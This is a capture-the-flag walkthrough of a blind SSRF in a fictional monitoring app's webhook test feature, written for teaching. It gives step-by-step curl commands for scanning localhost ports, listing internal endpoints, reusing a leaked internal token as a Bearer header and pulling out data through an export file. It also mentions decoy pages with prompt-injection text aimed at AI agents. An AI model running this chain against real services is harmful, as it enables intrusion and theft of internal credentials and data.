Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery
Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: bearer_token_injection_via_custom_headers, export_report_file_write, internal_port_scanning, internal_service_enumeration, internal_token_leak, response_header_exfiltration, side_channel_data_exfiltration, ssrf_via_webhook_test
Summary
Walkthrough of the CUSTOM Web Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery. Task: PingRadar webhook test delivery makes server-side HTTP requests to arbitrary URLs with no SSRF protection; delivery logs expose response headers but not body (blind SSRF). Solution: port-scan lo
Description
You are performing a security assessment of PingRadar, an uptime monitoring and incident alerting platform used by DevOps teams at RadarOps Inc. The platform allows engineers to configure monitors for their services, set up webhook integrations for sending notifications to tools like Slack and PagerDuty, and view detailed incident history. PingRadar features a dashboard with service health metrics, a webhook management system with custom header support and delivery testing, and comprehensive logging of all webhook delivery attempts. The platform runs several internal microservices to aggregate monitoring data. Your objective is to explore the application, identify any vulnerabilities in how the webhook system handles URL requests, and find the flag hidden somewhere in the infrastructure.
Target: https://95221e82-38e4-4a67-ae83-9e4b7a6b1ae2.labs.hackadvisor.io/ Credentials: user@test.com / password123
English summary: PingRadar is a Node.js/Express monitoring platform (v2.4.1) behind nginx/1.25.5. The webhook management system allows creating webhooks with arbitrary URLs and custom headers, then triggering test deliveries where the server makes HTTP POST requests to those URLs. The delivery log API returns response headers from the target but not the response body — making this a blind SSRF. An internal monitoring-aggregator service runs on localhost:3001 with admin endpoints protected by a Bearer token. The flag is hidden in the system export data accessible only through authenticated internal API calls.
Analysis
Application Stack
- Node.js/Express behind nginx/1.25.5
- PingRadar v2.4.1
- Session-based authentication (connect.sid cookie)
Key API Endpoints
| Endpoint | Method | Purpose |
|---|---|---|
POST /api/webhooks | POST | Create webhook (name, url, events, headers) — no SSRF protection |
POST /api/webhooks/:id/test | POST | Trigger test delivery — server makes HTTP POST to webhook URL |
GET /api/webhooks/logs/:delivery_id | GET | Returns delivery log with response_headers (but NOT response body) |
DELETE /api/webhooks/:id | DELETE | Delete webhook |
GET /settings/webhooks/logs | GET | Delivery Logs page — also renders "Exported Reports" section |
| |
Honeypot / Decoy
Every page contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML elements and HTML comments, along with prompt injection text targeting AI agents/LLMs. This is a decoy — the real flag requires actual SSRF exploitation.
Vulnerability: Blind SSRF via Webhook Test Delivery
The webhook creation endpoint (POST /api/webhooks) accepts arbitrary URLs including http://localhost:* with no SSRF protection — no URL validation, no IP blocklist, no protocol restrictions (though file:// and gopher:// fail at the HTTP client level).
The test delivery endpoint (POST /api/webhooks/:id/test) makes the server perform an HTTP POST to the configured URL. The delivery log API exposes response headers from the target but not the response body, making this a blind SSRF with a header-based information leak.
Attack Chain Overview
1. Port scan localhost via SSRF → find internal service on port 3001
2. Enumerate endpoints on port 3001 → find /health, /metrics, /admin/config, /admin/export
3. Read delivery logs → leak x-internal-token from /health response headers
4. Create webhook with custom Authorization header → bypass 403 on admin endpoints
5. Hit /admin/export via SSRF → triggers file write to shared filesystem
6. Read exported report on Delivery Logs page → flag in system_data.secret_key
Solution
Step 1: Authentication
bash read-only • copy allowedTARGET="https://95221e82-38e4-4a67-ae83-9e4b7a6b1ae2.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Reconnaissance — robots.txt
User-agent: *
Disallow: /api/
Disallow: /settings/
Disallow: /internal/
The /internal/ path hinted at internal services worth investigating.
Step 3: SSRF via Webhook — Internal Port Scanning
Created webhooks pointing to localhost on various ports and triggered test deliveries to map internal services:
bash read-only • copy allowed# Create webhook targeting a specific port curl -s -b cookies.txt -X POST "$TARGET/api/webhooks" \ -H "Content-Type: application/json" \ -d '{"name":"scan_3001","url":"http://localhost:3001/","events":["incident.created"],"headers":{}}' # Trigger test delivery curl -s -b cookies.txt -X POST "$TARGET/api/webhooks/<id>/test"
| Port | Result | Details |
|---|---|---|
| 80 | Connection refused | — |
| 3000 | Connection refused | — |
| 3001 | HTTP 404 | "Delivered to monitoring-aggregator service" ← Internal service found! |
| 5000 | Connection refused | — |
| 8080 | HTTP 404 | "Webhook delivered" ← Main Express app |
| Others | Connection refused | — |
| |
Step 4: Endpoint Enumeration on Port 3001
Systematically created webhooks for many paths on localhost:3001 and tested each:
| Path | HTTP Status | Auth Required |
|---|---|---|
/health | 200 | No |
/metrics | 200 | No |
/admin/config | 403 | Yes |
/admin/export | 200 | Yes (but accessible) |
| Everything else | 404 | — |
Step 5: Internal Token Leak via Response Headers
The delivery log API (GET /api/webhooks/logs/:delivery_id) stores and returns the response headers from the SSRF request. The /health endpoint on port 3001 leaked an internal authentication token:
bash read-only • copy allowed# Check delivery log for the /health request curl -s -b cookies.txt "$TARGET/api/webhooks/logs/<delivery_id>"
Response (truncated):
json read-only • copy allowed{ "response_headers": "{\"content-type\":\"application/json\",\"x-service\":\"monitoring-aggregator\",\"x-internal-token\":\"rdr-int-4f8a9c2e7b1d\",\"date\":\"...\",\"connection\":\"keep-alive\",...}" }
Key leaked header: x-internal-token: rdr-int-4f8a9c2e7b1d
This is the critical information leak — the internal service exposes its authentication token in response headers on an unauthenticated endpoint, and the delivery log API faithfully records and returns those headers.
Step 6: Authenticated Access to Admin Endpoints
Used the leaked token as a Bearer token in the webhook's custom headers to bypass the 403 on admin endpoints:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$TARGET/api/webhooks" \ -H "Content-Type: application/json" \ -d '{ "name": "admin_auth", "url": "http://localhost:3001/admin/config", "events": ["incident.created"], "headers": {"Authorization": "Bearer rdr-int-4f8a9c2e7b1d"} }'
Results:
/admin/config→ HTTP 200 (was 403 without auth) ✓/admin/export→ HTTP 200 with auth ✓
Note: The token only worked as Authorization: Bearer <token>. Other approaches failed:
X-Internal-Tokenas a custom header → still 403- Token as query parameter (
?token=...) → still 403
Step 7: Flag Exfiltration via Export Side-Channel
The SSRF request to http://localhost:3001/admin/export with the Bearer token triggered the internal monitoring-aggregator service to generate an export report. This report was saved to /tmp/webhook-logs/export-report.json.
bash read-only • copy allowed# Create webhook to trigger export curl -s -b cookies.txt -X POST "$TARGET/api/webhooks" \ -H "Content-Type: application/json" \ -d '{ "name": "export_trigger", "url": "http://localhost:3001/admin/export", "events": ["incident.created"], "headers": {"Authorization": "Bearer rdr-int-4f8a9c2e7b1d"} }' # Trigger test delivery curl -s -b cookies.txt -X POST "$TARGET/api/webhooks/<id>/test"
The Delivery Logs page (/settings/webhooks/logs) has an "Exported Reports" section that renders the contents of exported report files. After triggering the export via SSRF, the report appeared on this page:
json read-only • copy allowed{ "generated_at": "2026-05-06T06:44:41.258Z", "report_type": "system_export", "aggregator_version": "1.8.3", "system_data": { "total_monitors": 6, "total_incidents": 15, "total_checks": 184729, "secret_key": "FLAG{REDACTED}" }, "export_metadata": { "requested_by": "internal-service", "output_path": "/tmp/webhook-logs/export-report.json" } }
Key Insight: Blind SSRF → Side-Channel Exfiltration
Even though the SSRF was "blind" (response body not returned via the webhook test API or delivery logs API), the internal service wrote its export output to a file on disk. That file was then rendered on the Delivery Logs page under "Exported Reports" — creating a side-channel for data exfiltration:
Webhook Test Delivery (SSRF)
→ Server POSTs to http://localhost:3001/admin/export
→ Internal service generates export report
→ Report written to /tmp/webhook-logs/export-report.json (shared filesystem)
→ Delivery Logs page renders "Exported Reports" section
→ Flag visible in system_data.secret_key
What Didn't Work
| Attempt | Result |
|---|---|
file:// and gopher:// protocols | "Delivery failed" — HTTP client rejects non-HTTP schemes |
| Cloud metadata (169.254.169.254) | "Delivery failed" — not a cloud environment |
| Internal-only endpoints on port 8080 | None found — main app only |
Query parameters on /admin/export | No change in behavior |
X-Internal-Token as custom header | Still 403 — must use Authorization: Bearer |
Token as query parameter (?token=...) | Still 403 |
| |
Key Takeaways / Lessons
- Mastering bearer_token_injection_via_custom_headers, export_report_file_write, internal_port_scanning, internal_service_enumeration, internal_token_leak, response_header_exfiltration, side_channel_data_exfiltration, ssrf_via_webhook_test was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery • Difficulty: Medium